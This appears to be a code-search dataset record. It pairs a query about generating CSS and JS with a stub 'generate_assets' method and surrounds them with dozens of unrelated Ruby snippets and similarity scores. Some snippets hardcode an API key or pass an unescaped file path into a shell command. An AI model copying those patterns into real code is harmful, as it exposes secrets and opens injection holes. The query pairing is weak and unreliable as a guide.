"def document_not_found!\n doc = ::SolrDocument.find(params[:id])\n # Render the document if the current_user == the depositor of the document\n return doc if current_user && current_user.user_key == doc[\"depositor_ssim\"].first\n raise WorkflowAuthorizationException if doc.suppressed?\n raise CanCan::AccessDenied.new(nil, :show)\n end",
"def identify; end",
"def locate_section\n result_array = $book_data.find_all { |place| place[:chapter]==@chapter && place[:subsection]==@subsection }\n @place = result_array[0]\n @location = @place[:location]\n @topic = @place[:topic]\n puts \"The e-book location is: #{@location}\"\n puts \"...and the topic is: #{@topic}.\"\n puts \"Happy reading\"\n end",
"def miss_reason; end",
"def code_title_not_found\n system(\"clear\")\n code_title_pastel = Pastel.new\n puts code_title_pastel.red(\"Error - Code title not found\")\n puts \"Returning you to the Main Menu\"\nend",
"def show\n\n @paper = Paper.find(params[:id])\n @title = @paper.title\n @paper.visits.create(:user => current_user, :visit_type => 'paper') if signed_in?\n if @paper.visits.empty?\n @paper.count_figs\n end\n @paper_interest = @paper.interest.to_i\n\n #Doublecheck to make sure that all media have a category listed. In principle this should happen as soon as the media is saved.\n @paper.medias.each do |m|\n if m.category.nil?\n m.set_category\n m.save\n end\n end\n @heatmap = @paper.heatmap\n @heatmap_overview = @paper.heatmap_overview\n @reaction_map = @paper.reaction_map\n #@blogs = @paper.check_blogs\n if signed_in?\n @groups = current_user.groups\n @groups.delay.each {|g| g.most_viewed_add(@paper); g.save;}\n @folders = current_user.folders\n\n end\n\n #Prep the selection dropdown for selection the # of figs in the paper. \n @numfig_select = Array.new\n 30.times do |i|\n @numfig_select << [(i+1).to_s, i+1 ]\n end\n\n #Private and group functionality is being disabled for now, all comments are public.\n #if params[:mode] == \"public\"\n @mode = 1\n #else\n #\t@mode = 2\n #end\n session[:return_to] = request.fullpath\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @paper }\n end\n end",
"def index\n @papers = Paper.from_user(current_user.id).paginate(:page => params[:page], :per_page => 10)\n end",
"def find_snack\n puts \"What snack do you want to find?\"\n name = gets.chomp\n\n #returns the list of all snacks with the name of name \n #(string is read in with \\n had to remove it)\n snacks = Snack.find_all_by_name name\n\n #if the snacks list is empty then prints out not found error other wise iterate over the\n #list\n snacks.empty? ? \"#{puts \"There is no such snack '#{name}' in the system!\"}\" : \n snacks.each do |snack|\n snack.machines.each do |machine|\n puts \"In machine #{machine.serial_number} located in #{machine.building.name} building\"\n end\n end\nend",
"def unique_name_already_claimed_by\n @node[:crowbar_wall] ||= Mash.new\n claimed_disks = @node[:crowbar_wall][:claimed_disks] || []\n cm = claimed_disks.find do |claimed_name, v|\n begin\n self.link_to_name?(claimed_name)\n rescue Errno::ENOENT\n # FIXME: Decide what to do with missing links in the long term\n #\n # Stoney had a bug that caused disks to be claimed twice for the \n # same owner (especially of the \"LVM_DRBD\" owner) but under two\n # differnt names. One of those names doesn't persist reboots and\n # to workaround that bug we just ignore missing links here in the\n # hope that the same disk is also claimed under a more stable name.\n false\n end\n end || []\n cm.first\n end",
"def create\n @paper = Paper.new(params[:paper])\n @paper.author_id = current_author.id\n @document = @paper.documents.new(params[:document])\n respond_to do |format|\n if @paper.save\n File.open(\"public/system/uploads/#{@document.id}/#{@document.asset_file_name}\", \"rb\") do |io|\n reader = PDF::Reader.new(io)\n if reader.page_count > 10\n @paper.destroy\n @papers = Paper.where(\"author_id = ?\", current_author.id)\n format.html { redirect_to action: \"index\", notice: 'Document cannot exceed 10 pages' }\n else\n format.html { redirect_to @paper, notice: 'Paper was successfully created.' }\n format.json { render json: @paper, status: :created, location: @paper }\n end\n end\n \n else\n #format.html { redirect_to @paper, notice: 'Paper was successfully created.' }\n #format.json { render json: @paper, status: :created, location: @paper }\n format.html { render action: \"new\" }\n format.json { render json: @paper.errors, status: :unprocessable_entity }\n end\n end\n end",
"def missing?; end",
"def neutral() @page.find(input_elements[:neutral]) end",
"def eplore\n end",
"def search_unknown\n BFS.search(UnknownFinder.new(@droid, @map))\n end",
"def find_save_kevin_bacon(start_node, winning_attempts)\n\t\t# loop through each movie in start_node\n\t\t\t# movie_array << current_movie\n\t\t\t# if movie_array.count > 6\n\t\t\t\t# return failure\n\t\t\t# else\n\t\t\t\t# loop through current_movie stars\n\t\t\t\t\t# if current_actor == kevin_bacon\n\t\t\t\t\t\t# winning_attempts << movie_array\n\t\t\t\t\t# else \n\t\t\t\t\t\t# find_save_kevin_bacon(current_actor)\n\t\t\t\t\t# end\n\t\t\t\t# end\n\t\t\t#end\n\t\t# end\n\t\tstart_node.film_actor_hash.each do |movie, actor|\n\t\t\tmovie_array << movie\n\t\t\tif movie.count > 6\n\t\t\t\tfalse\n\t\t\telse\n\t\t\t\tactor.each do |a|\n\t\t\t\t\tif a.name == 'Kevin Bacon'\n\t\t\t\t\t\twinning_attempts << movie_array\n\t\t\t\t\telsif a.name != actor.name #avoid a loop\n\t\t\t\t\t\tfind_kevin_bacon(actor)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def not_found\n raise ActionController::RoutingError.new('Permalink Not Found')\n end",
"def show\n @paper = Paper.find(params[:id])\n @document = Document.where(paper_id: @paper.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @paper }\n end\n end",
"def guess(text, meta)\n $stderr.puts @name\n $stderr.puts text.inspect\n $stderr.puts meta.inspect\n nil\n end",
"def scanned_image\n scanned_eligibility\n end",
"def index\n @papers = Paper.all\n end",
"def create\n @paper = Paper.new(paper_params)\n\t respond_to do |format|\n if @paper.save\n filename = @paper.userdoc.path \n puts filename \n response = RestClient.post('http://maui-indexer.appspot.com/mauiapp',\n :document => File.new(filename,\"rb\"),\n :domain => \"keywords\")\n doc = Nokogiri::HTML(response)\n keywords = \"\"\n doc.css(\"#keywords a\").each do |k|\n keywords << k << ' '\n end\n puts keywords \n textfile = `pdftotext #{filename} -`\n ref =[]\n #textfile.reverse_each do|s|\n #if s.upcase == \"REFERENCES\\n\"\n #break\n #end\n #ref << s\n #end\n #ref.reverse_each do |s|\n # puts s\n #end\n url = \"http://wikipedia-miner.cms.waikato.ac.nz/services/wikify?source=\" + URI::encode(keywords.force_encoding('ASCII-8BIT')) + \"&minProbability=0.1\"\n doc = Nokogiri::XML(open(url))\n topics = []\n doc.css(\"detectedTopic\").each do |t|\n puts t\n topics << t[:title]<<t[:weight] \n end\n puts topics\n @paper.keywords = keywords\n @paper.topics = topics\n\nkeywords.gsub!(\" \",\"%20\")\nkeywords = keywords.chomp('+')\nurl = \"https://api.mendeley.com:443/search/catalog?query=\"+keywords+\"&view=all&limit=100\"\nhtml = open(url, \"Authorization\" => \"Bearer #{session[:mendeley_token]}\").read\ndocs = JSON.parse(html)\nsession = Neo4j::Session.open(:server_db, 'http://localhost:7474')\n\ndocs.each do |d|\n puts \"ID: \" + d[\"id\"]\n authors = [] \n begin\n d[\"authors\"].each do |a|\n authors << a[\"first_name\"] + \" \" + a[\"last_name\"]\n end\n rescue \n authors = []\n end\n docnode = Neo4j::Node.create({id: d[\"id\"], title: d[\"title\"], type: d[\"type\"], authors: authors, year: d[\"year\"], month: d[\"month\"], day: d[\"day\"], source: d[\"source\"], keywords: d[\"keywords\"], accessed: d[\"accessed\"], reader_count: d[\"reader_count\"], abstract: d[\"abstract\"]}, :PAPER)\n begin\n reader_count_by_academic_status = []\n d[\"reader_count_by_academic_status\"].each do |key, value|\n docnode[key.to_sym] = value\n reader_count_by_academic_status << key\n end\n docnode[:reader_count_by_academic_status] = reader_count_by_academic_status\n rescue\n #academic status details not found\n end\n\n begin \n reader_count_by_country =[]\n d[\"reader_count_by_country\"].each do |key, value|\n docnode[key.to_sym] = value\n reader_count_by_country << key\n end\n docnode[:reader_count_by_country] = reader_count_by_country\n rescue\n #country details not found \n end\n begin\n reader_count_by_subdiscipline = []\n d[\"reader_count_by_subdiscipline\"].each do |key,value|\n docnode[key.to_sym] = value.values.inject(:+)\n reader_count_by_subdiscipline << key\n end\n docnode[:reader_count_by_subdiscipline] = reader_count_by_subdiscipline\n rescue\n #subdiscipline details not found \n end\nend\n\n\n # puts `ruby ~/rails_project/maui_rest.rb \"#{@paper.userdoc.path}\"`\n @paper.save \n format.html { redirect_to @paper, notice: 'Paper was successfully created.' }\n format.json { render :show, status: :created, location: @paper }\n else\n format.html { render :new }\n format.json { render json: @paper.errors, status: :unprocessable_entity }\n end\n end\n end",
"def computer_places_piece(brd)\n square = nil\n # offense first choice\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, COMPUTER_MARKER)\n break if square\n end\n # defense second choice\n if !square\n WINNING_LINES.each do |line|\n square = find_at_risk_square(line, brd, PLAYER_MARKER)\n break if square\n end\n end\n # pick square #5 if available, third choice\n if !square\n square = 5 if brd[5] == INITIAL_MARKER\n end\n # just pick a square last choice\n if !square\n square = empty_squares(brd).sample\n end\n\n brd[square] = COMPUTER_MARKER\nend",
"def find_apn_w_rev_id\n @apn = Apn.find(@review.apn_id)\n end",
"def not_available\n\t\tputs \"This position is not available! please choose another\"\t\n\tend",
"def set_paperpost\n @paperpost = Paperpost.find(params[:id])\n end",
"def rps(user_hand)\nuser_hand.downcase!\ncomp_hand = [\"rock\", \"paper\", \"scissors\"].sample\n# \"rock\" < \"paper\"=== tru\n# \"rock\" > \"scissor\"\n# \"paper\" < \"scissor\"\n if (comp_hand == \"rock\" && user_hand == \"paper\") || \n (comp_hand== \"scissors\" && user_hand == \"rock\") || \n (comp_hand== \"paper\" && user_hand == \"scissors\")\n \"user had #{user_hand} and computer had #{comp_hand}. User wins!\"\n elsif comp_hand == user_hand\n \"user had #{user_hand} and computer had #{comp_hand}. Draw!\"\n else \n \"user had #{user_hand} and computer had #{comp_hand}. Computer wins!\"\n end\nend",
"def find_photo_by_machinetag(plaque)\n key = FLICKR_KEY # \"86c115028094a06ed5cd19cfe72e8f8b\"\n content_type = \"1\" # Photos only\n machine_tag_key = \"openplaques:id=\".to_s\n if (plaque)\n machine_tag_key += plaque.id.to_s\n end \n \n flickr_url = \"http://api.flickr.com/services/rest/\"\n method = \"flickr.photos.search\" \n license = \"1,2,3,4,5,6,7\" # All the CC licencses that allow commercial re-use \n \n url = flickr_url + \"?api_key=\" + key + \"&method=\" + method + \"&license=\" + license + \"&content_type=\" + content_type + \"&machine_tags=\" + machine_tag_key + \"&extras=date_taken,owner_name,license,geo,machine_tags\"\n \n puts url\n \n new_photos_count = 0\n response = open(url)\n doc = REXML::Document.new(response.read)\n doc.elements.each('//rsp/photos/photo') do |photo|\n print \".\"\n $stdout.flush\n \n @photo = nil\n\n file_url = \"http://farm\" + photo.attributes[\"farm\"] + \".static.flickr.com/\" + photo.attributes[\"server\"] + \"/\" + photo.attributes[\"id\"] + \"_\" + photo.attributes[\"secret\"] + \"_m.jpg\"\n photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\" + photo.attributes[\"id\"] + \"/\"\n\n @photo = Photo.find_by_url(photo_url)\n \n if @photo\n else\n plaque_id = photo.attributes[\"machine_tags\"][/openplaques\\:id\\=(\\d+)/, 1]\n \n puts photo.attributes[\"title\"]\n \n @plaque = Plaque.find(:first, :conditions => {:id => plaque_id})\n if @plaque\n @photo = Photo.new\n @photo.plaque = @plaque\n @photo.file_url = file_url\n @photo.url = photo_url\n @photo.taken_at = photo.attributes[\"datetaken\"]\n @photo.photographer_url = photo_url = \"http://www.flickr.com/photos/\" + photo.attributes[\"owner\"] + \"/\"\n @photo.photographer = photo.attributes[\"ownername\"]\n if photo.attributes[\"license\"] == \"4\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by/2.0/\")\n elsif photo.attributes[\"license\"] == \"6\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nd/2.0/\")\n elsif photo.attributes[\"license\"] == \"3\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc-nd/2.0/\")\n elsif photo.attributes[\"license\"] == \"2\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc/2.0/\")\n elsif photo.attributes[\"license\"] == \"1\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-nc-sa/2.0/\")\n elsif photo.attributes[\"license\"] == \"5\"\n @photo.licence = Licence.find_by_url(\"http://creativecommons.org/licenses/by-sa/2.0/\")\n elsif photo.attributes[\"license\"] == \"7\"\n @photo.licence = Licence.find_by_url(\"http://www.flickr.com/commons/usage/\")\n else\n puts \"Couldn't find license\"\n end\n if @photo.save\n new_photos_count += 1\n puts \"New photo found and saved\"\n else\n# puts \"Error saving photo\" + @photo.errors.each_full{|msg| puts msg }\n end\n\n if photo.attributes[\"latitude\"] != \"0\" && photo.attributes[\"longitude\"] != \"0\" && !@plaque.geolocated?\n puts \"New geolocation found\"\n @plaque.latitude = photo.attributes[\"latitude\"]\n @plaque.longitude = photo.attributes[\"longitude\"]\n @plaque.accuracy = 'flickr'\n if @plaque.save\n puts \"New geolocation added to photo\"\n else\n puts \"Error adding geolocation to photo\" + plaque.errors.full_messages.to_s #methods.join(\" \")\n end\n end \n else\n puts \"Photo's machine tag doesn't match a plaque.\" \n end\n end\n end\n end",
"def record_not_found\n raise ActiveRecord::RecordNotFound\n end",
"def show\n @writing = Writing.find(params[:id])\n @topics = Writing.find(params[:id]).topics\n\n if @writing.avatar.attached?\n else\n downloaded_image = open(\"https://shikimori.org\" + @writing.shikimory_img)\n @writing.avatar.attach(io: downloaded_image , filename: \"avatar.jpg\")\n end\n end",
"def next_unattempted\n fewest_potential_pairs(unattempted_people)\n end",
"def sos_papel?() raise NotImplementedError end",
"def correct_user_for_docs\n @document = current_user.documents.find_by(params[:friendly])\n redirect_to documents_path, notice: \"Not authorised to edit this document\" if @document.nil?\n end",
"def drive(destination)\n if destination == \"Hawaii\"\n raise \"You can't drive to Hawaii\"\n end\nend",
"def test_find_rental__missing\n\n single_book = @library1.find_rental(\"tek_wars\")\n\n assert_nil(single_book)\n\n end",
"def assign_representative\n # access the members in the has_many relation\n @student = Student.find(members.first.student_id)\n @members.each do |m|\n @student = m.student if m.student.draw_num < @student.draw_num\n end\n @student.id\n end",
"def fail_extraction( item, reason )\n\t\tself.prompt.warn \"Extraction of %s failed: %s\" % [ item, reason ]\n\t\treturn nil\n\tend",
"def get_aphorisms\n Author.all.each do |author|\n site_author = get_html(\"http://www.aphorism4all.com/\" + author.url)\n site_author.css('#content strong').each do |node|\n aphorism = node.inner_text.strip\n unless aphorism =~ /^Pages/\n author.aphorisms.find_or_create_by(aphorism: aphorism)\n end\n end\n end\nend",
"def paper_params\n params.require(:paper).permit(:name, :keywords, :author, :references, :topics,:userdoc)\n end",
"def set_paper_author\n @paper_author = PaperAuthor.find(params[:id])\n end"
] | [
"0.572399",
"0.5189357",
"0.5138551",
"0.5111548",
"0.5028924",
"0.48507679",
"0.48505953",
"0.48331365",
"0.4818173",
"0.4807173",
"0.479361",
"0.47638682",
"0.47476536",
"0.47286904",
"0.47204068",
"0.4695673",
"0.4673442",
"0.4673442",
"0.4673442",
"0.4673442",
"0.4673442",
"0.4673442",
"0.4673442",
"0.4673442",
"0.4670071",
"0.466495",
"0.46520713",
"0.4649999",
"0.46386415",
"0.46350738",
"0.46207216",
"0.4620666",
"0.460393",
"0.4598419",
"0.45782807",
"0.45782807",
"0.45680097",
"0.4552029",
"0.45309862",
"0.45270756",
"0.45262873",
"0.45243788",
"0.45170647",
"0.4510501",
"0.45047078",
"0.45047078",
"0.45047078",
"0.45047078",
"0.44982573",
"0.44951698",
"0.4494119",
"0.44925493",
"0.44915158",
"0.44899622",
"0.44790497",
"0.4475165",
"0.44641972",
"0.4463083",
"0.44613576",
"0.44599092",
"0.44556916",
"0.44448617",
"0.4439931",
"0.44388953",
"0.4431422",
"0.44292325",
"0.44178253",
"0.4413031",
"0.44057605",
"0.43960112",
"0.43906912",
"0.43858415",
"0.43771675",
"0.43716916",
"0.4368086",
"0.43636987",
"0.4362158",
"0.43576908",
"0.43549043",
"0.43543372",
"0.4347415",
"0.43467295",
"0.4341089",
"0.43404105",
"0.43398485",
"0.43395412",
"0.43319666",
"0.43290848",
"0.4311816",
"0.4311533",
"0.43097174",
"0.43084106",
"0.43037286",
"0.43036583",
"0.42995772",
"0.42957312",
"0.42954528",
"0.4291294",
"0.4289125",
"0.42862272"
] | 0.5293596 | 1 |
generate css and js, they are do not need current menu | def generate_assets
raise NotImplementedError
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def css; end",
"def css; end",
"def css; end",
"def copy_styles_and_js\n base_dir = @generator.base_dir\n Dir.mkdir(\"#{base_dir}/js\")\n FileUtils.cp(\"#{Amy::BASE_DIR}/views/js/amy.min.js\", \"#{base_dir}/js/amy.js\")\n FileUtils.cp(\"#{Amy::BASE_DIR}/views/js/data.json\", \"#{base_dir}/data.json\") \n Dir.mkdir(\"#{base_dir}/style\")\n FileUtils.cp(\"#{Amy::BASE_DIR}/views/style/style.css\", \"#{base_dir}/style/style.css\")\n end",
"def generate()\n\t\tjdc='jekyll_date_chart.js'\n\t\tcopy_file \"lib/#{jdc}\", \"_assets/javascripts/#{jdc}\"\n\n\t\tdirectory 'vendor/assets/javascripts/', '_assets/javascripts/'\n\t\tdirectory 'vendor/assets/stylesheets/', '_assets/stylesheets/'\n\tend",
"def active_scaffold_includes\r\n js = ActiveScaffold::Config::Core.javascripts.collect do |name|\r\n javascript_include_tag(ActiveScaffold::Config::Core.asset_path(:javascript, name))\r\n end.join('')\r\n\r\n css = stylesheet_link_tag(ActiveScaffold::Config::Core.asset_path(:stylesheet, \"stylesheet.css\"))\r\n ie_css = stylesheet_link_tag(ActiveScaffold::Config::Core.asset_path(:stylesheet, \"stylesheet-ie.css\"))\r\n\r\n js + \"\\n\" + css + \"\\n<!--[if IE]>\" + ie_css + \"<![endif]-->\\n\"\r\n end",
"def styles_and_scripts\n scripts = []\n styles = []\n categories = []\n\n stylesheet = attr :stylesheet\n stylesdir = attr :stylesdir, ''\n default_style = ::Asciidoctor::DEFAULT_STYLESHEET_KEYS.include? stylesheet\n linkcss = (attr? :linkcss) || safe >= ::Asciidoctor::SafeMode::SECURE\n ss = ::Asciidoctor::Stylesheets.instance\n\n if linkcss\n path = default_style ? ::Asciidoctor::DEFAULT_STYLESHEET_NAME : stylesheet\n styles << { href: [stylesdir, path] }\n elsif default_style\n styles << { text: ss.primary_stylesheet_data }\n else\n styles << { text: read_asset(normalize_system_path(stylesheet, stylesdir), true) }\n end\n\n if attr? :icons, 'font'\n if attr? 'iconfont-remote'\n styles << { href: (attr 'iconfont-cdn', FONT_AWESOME_URI) }\n else\n styles << { href: [stylesdir, %(#{attr 'iconfont-name', 'font-awesome'}.css)] }\n end\n end\n\n if attr? 'stem'\n scripts << { src: MATHJAX_JS_URI }\n scripts << { type: 'text/x-mathjax-config', text: %(MathJax.Hub.Config(#{MATHJAX_CONFIG});) }\n end\n\n case attr 'source-highlighter'\n when 'coderay'\n if (attr 'coderay-css', 'class') == 'class'\n if linkcss\n styles << { href: [stylesdir, ss.coderay_stylesheet_name] }\n else\n styles << { text: ss.coderay_stylesheet_data }\n end\n end\n\n when 'pygments'\n if (attr 'pygments-css', 'class') == 'class'\n if linkcss\n styles << { href: [stylesdir, ss.pygments_stylesheet_name(attr 'pygments-style')] }\n else\n styles << { text: ss.pygments_stylesheet_data(attr 'pygments-style') }\n end\n end\n\n when 'highlightjs'\n hjs_base = attr :highlightjsdir, HIGHLIGHTJS_BASE_URI\n hjs_theme = attr 'highlightjs-theme', DEFAULT_HIGHLIGHTJS_THEME\n\n scripts << { src: [hjs_base, 'highlight.min.js'] }\n scripts << { src: [hjs_base, 'lang/common.min.js'] }\n scripts << { text: 'hljs.initHighlightingOnLoad()' }\n styles << { href: [hjs_base, %(styles/#{hjs_theme}.min.css)] }\n\n when 'prettify'\n prettify_base = attr :prettifydir, PRETTIFY_BASE_URI\n prettify_theme = attr 'prettify-theme', DEFAULT_PRETTIFY_THEME\n\n scripts << { src: [prettify_base, 'prettify.min.js'] }\n scripts << { text: 'document.addEventListener(\"DOMContentLoaded\", prettyPrint)' }\n styles << { href: [prettify_base, %(#{prettify_theme}.min.css)] }\n end\n\n styles.each do |item|\n if item.key?(:text)\n categories << html_tag(:style, {}, item[:text])\n else\n categories << html_tag(:link, rel: 'stylesheet', href: urlize(*item[:href]))\n end\n end\n\n scripts.each do |item|\n if item.key? :text\n categories << html_tag(:script, {type: item[:type]}, item[:text])\n else\n categories << html_tag(:script, type: item[:type], src: urlize(*item[:src]))\n end\n end\n\n categories.join \"\\n\"\n end",
"def render_css\n @menu ? \"#{@menu.css}\\n #{@selected ? @selected.css : ''}\\n\" : ''\nend",
"def stylesheet; end",
"def generate_css\n needs = affected_files.map { |m| File.extname(m)[1..-1].to_sym }\n \n original_ext = File.extname(@original_file)[1..-1]\n needs << original_ext.to_sym unless needs.include? original_ext\n\n WebifyRuby::Css.link_to = @link_to\n \n if should_write_css?\n WebifyRuby::Css.relative_from = @link_to ? nil : @css\n end\n \n css = WebifyRuby::Css.new(File.basename(@file, \".*\"), @file, *needs)\n @styles = css.result\n\n @css_file = css.write @css if should_write_css?\n end",
"def set_assets\n\n @custom_csses = []\n @custom_javascripts = []\n\n\n action_hash = {\"create\" => \"new\", \"update\" => \"edit\"}\n file_name = action_hash[action_name] ? action_hash[action_name] : action_name\n root = Rails.root.to_s\n\n @custom_csses << \"compiled/application.css\" # always include the layout css\n @custom_csses << \"compiled/#{controller_name}/#{file_name}.css\" if File.exist?(\"#{root}/public/stylesheets/compiled/#{controller_name}/#{file_name}.css\")\n @custom_csses << \"compiled/#{controller_name}/all.css\" if File.exist?(\"#{root}/public/stylesheets/compiled/#{controller_name}/all.css\")\n\n\n @custom_javascripts << \"#{controller_name}/#{file_name}.js\" if File.exist?(\"#{root}/public/javascripts/#{controller_name}/#{file_name}.js\") # && !(\"#{file_name}.js\" == \"consumer_index.js\")\n @custom_javascripts << \"#{controller_name}/all.js\" if File.exist?(\"#{root}/public/javascripts/#{controller_name}/all.js\")\n\n # a trick to include facebox in the (devise-owned) registrations controller\n include_facebox if controller_name == 'registrations' && action_name == 'edit'\n\n end",
"def buildMenu\n template = File.read('_plugins/figma-menu.html.erb')\n result = ERB.new(template).result(binding)\n\n open(\"_includes/figma-menu.html\", \"wb\") { |file|\n file.write(result)\n file.close\n }\n\n end",
"def gen_css(levels, minmax)\n # Header\n css = CSS_HEADER\n\n # Disable everything to start with \n levels.times{|l|\n css += \"\\n.#{class_name(l)}{ display: none; }\"\n }\n \n # Compute the various widths' display rules\n step = (minmax[MAX] - minmax[MIN]) / levels\n levels.times{|x|\n css += \"\\n@media (min-width: #{ x*step + minmax[MIN] }){\"\n (x+1).times{|l|\n css += \"\\n.#{class_name(l)}{ display: inline; }\"\n }\n css += \"\\n}\"\n }\n\n # Return with the end <script>\n return css + CSS_FOOTER\nend",
"def rcss\n # :rcssfile is defined in routes.rb\n if @stylefile = params[:rcssfile]\n #prep stylefile with relative path and correct extension\n @stylefile.gsub!(/.css$/, '')\n \n @color = \"#EBC2AF\" \n @wrapper_width = ConstValues::WIDTH_OF_WRAPPER\n @header_height = ConstValues::HEIGHT_OF_HEADER\n @footer_height = ConstValues::HEIGHT_OF_FOOTER\n @board_size = ConstValues::SIZE_OF_BOARD\n @leftpanel_width = ConstValues::WIDTH_OF_LEFTPANEL\n @rightpanel_width = ConstValues::WIDTH_OF_RIGHTPANEL\n @element_size = ConstValues::SIZE_OF_ELEMENT\n \n \n \n #---Maciek----------------------------------------------------------------------\n @arrow_up = ConstValues::POS_ARROW_UP\n @arrow_down = ConstValues::POS_ARROW_DOWN\n @arrow_left = ConstValues::POS_ARROW_LEFT\n @arrow_right = ConstValues::POS_ARROW_RIGHT\n @size_of_arrows = ConstValues::SIZE_OF_ARROWS\n \n @color_ecru = \"#C2B280\" #jakiś taki biało żółty\n @color_yellow_mist = \"#FFFFE0\"\n @color_old_lace = \"#F5F5DC\"\n @color_light_khaki = \"#F0E68C\"\n @color_desert_sand = \"#EDC9AF\"\n @color_light_red =\"#FF0000\"\n \n @SHOW_USER_WIDTH = ConstValues::SHOW_USER_WIDTH\n @DEFAULT_BORDER = 5\n @SHOW_USER_RIGHT_WIDTH = @DEFAULT_BORDER * 2 + @SHOW_USER_WIDTH \n @AVATAR_SIZE_X = ConstValues::AVATAR_SIZE_X\n @TABS_HEIGHT = 35\n #-------------------------------------------------------------------------------\n\n @LEFT_S_PANEL_WIDTH = @SHOW_USER_WIDTH - @DEFAULT_BORDER * 4 + 1\n @AVA_PROFILE_SIZE_X = ConstValues::AVA_PROFILE_SIZE_X\n \n @stylefile = @stylefile = \"/rcss/\" + @stylefile + \".rcss.erb\"\n render(:file => @stylefile, :use_full_path => true, :content_type => \"text/css\")\n else #no method/action specified\n render(:nothing => true, :status => 404)\n end #if @stylefile..\n end",
"def load_css\n AssetManager.include_css [:blog_home, :home]\n end",
"def asset_handler\n tags = String.new\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/icons.css\")\n if controller_name == \"rich_subscriptions\"\n tags << content_tag(:script, \"\", src: \"/javascripts/#{fingerprinted_asset('map')}.js\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/leaflet.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/leaflet-slider.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/leaflet/L.Control.Locate.min.css\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/#{fingerprinted_asset('map')}.css\")\n else\n tags << content_tag(:script, \"\", src: \"/javascripts/#{fingerprinted_asset('application')}.js\")\n tags << tag(:link, rel: \"stylesheet\", href: \"/stylesheets/#{fingerprinted_asset('application')}.css\")\n end\n tags.html_safe\n end",
"def post_compile(css, settings)\n\tcss\nend",
"def prepare_js\n compile_templates\n compile_controllers\n end",
"def append_js_and_css!(html)\n html.sub!(\"</head>\") do\n [\n helper.tag.style(load_xray_css.html_safe, type: \"text/css\", media: \"screen\"),\n helper.javascript_tag(load_xray_js.html_safe, \"data-xray-rails\" => true),\n $~\n ].join(\"\\n\")\n end\n end",
"def add_js_and_css_to_form\n unless @check_migration\n page_options = open(\"app/views/admin/#{@plural_name}/_form.html.erb\").grep(/content_for :javascripts/)\n \n if page_options.empty?\n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :before => \"<%= form_for\" do\n \"<% content_for :javascripts do %>\" +\n \"\\n\\t<script>\" +\n \"\\n\\t\\t$(document).ready(function(){\" +\n \"\\n\\t\\t\\tpage_options.init(false, '', '');\" +\n \"\\n\\t\\t});\" +\n \"\\n\\t</script>\"+\n \"\\n\\t<%= javascript_include_tag 'gallery' %>\" +\n \"\\n<% end %>\" +\n \n \"\\n\\n<% content_for :stylesheets do %>\" +\n \"\\n\\t<%= stylesheet_link_tag 'gallery' %>\" +\n \"\\n<% end %>\\n\\n\"\n end\n else\n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :after => \"<% content_for :javascripts do %>\" do\n \"\\n\\t<%= javascript_include_tag 'gallery' %>\"\n end\n \n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :before => \"<% content_for :javascripts do %>\" do\n \"\\n<% content_for :stylesheets do %>\" +\n \"\\n\\t<%= stylesheet_link_tag 'gallery' %>\" +\n \"\\n<% end %>\\n\"\n end\n end\n end\n end",
"def page_style(context={}, page)\n \n # Front-end custom resources\n unless page.admin_page\n if template=ContentManagerSystem::Template.find_by_name('css_resources') && \n !template.text.empty?\n scripts.concat(template.text.split(','))\n end \n if template =ContentManagerSystem::Template.find_by_name('css_app') and \n !template.text.empty?\n ['css/app.js']\n else\n []\n end \n end\n\n end",
"def defineLayoutMenu\n #puts \"Removing Old Menu and Home Layout\"\n rm_rf File.join(\"#{g('wiki_source')}\",URL_LAYOUT_DEFAULT)\n #puts \"Generating New Menu\"\n open(File.join(\"#{g('wiki_source')}\",URL_LAYOUT_DEFAULT), 'w') do |newLayout|\n newLayout.puts '\n <!doctype html><html lang=\"en\"><head><meta charset=\"utf-8\"><title>{{ page.title }}</title></head>\n <body>\n {% include style.html %}\n {% include menu.html %}\n '\n oldUnder=-1\n File.foreach(File.join(\"#{g('wiki_source')}\",URL_MENU_FILE)) do |line|\n currentUnder = count_em(line,\"-\")\n #Fils du courant\n if(currentUnder>oldUnder)\n if(oldUnder==-1)\n newLayout.puts '\n <div class=\"w3-row-padding w3-padding-64 w3-container\">\n <div>\n <div class=\"w3-quarter\" style=\"width:260px\">\n\t\t<nav class=\"w3-bar-block w3-collapse w3-large w3-theme-l5 w3-animate-left w3-small w3-round w3-blue\" style=\"z-index:3;margin-left:10px\" id=\"mySidebar\">\n <div class=\"w3-medium w3-text-white w3-margin-left\" style=\"font-weight:bold\"><div>'\n else\n newLayout.puts \" <div id='sub' class=' w3-padding-small w3-bar-block w3-small'>\"\n end\n oldUnder=currentUnder\n else\n #Père du courant\n if(currentUnder<oldUnder)\n loop do \n newLayout.puts \" </div>\"\n oldUnder = oldUnder -1\n break if oldUnder==currentUnder\n end\n end\n end\n fileWithName = File.join(\"#{g('wiki_dest')}\",\"/\"+line.gsub(\"-\",\"\")).gsub(\"\\n\",\"\")\n title=line\n if(File.exists?(fileWithName+\".md\"))\n File.foreach(fileWithName+\".md\") do |row|\n if(row.include? \"title:\")\n title = row\n break\n end\n end \n newLayout.puts \"<a href='/\"+fileWithName+\"'>\"+title.gsub(\"title: \",\"\")+\"</a><br/>\"\n else\n newLayout.puts \"\"+title.gsub(\"-\",\"\")+\"\"\n end\n end\n newLayout.puts 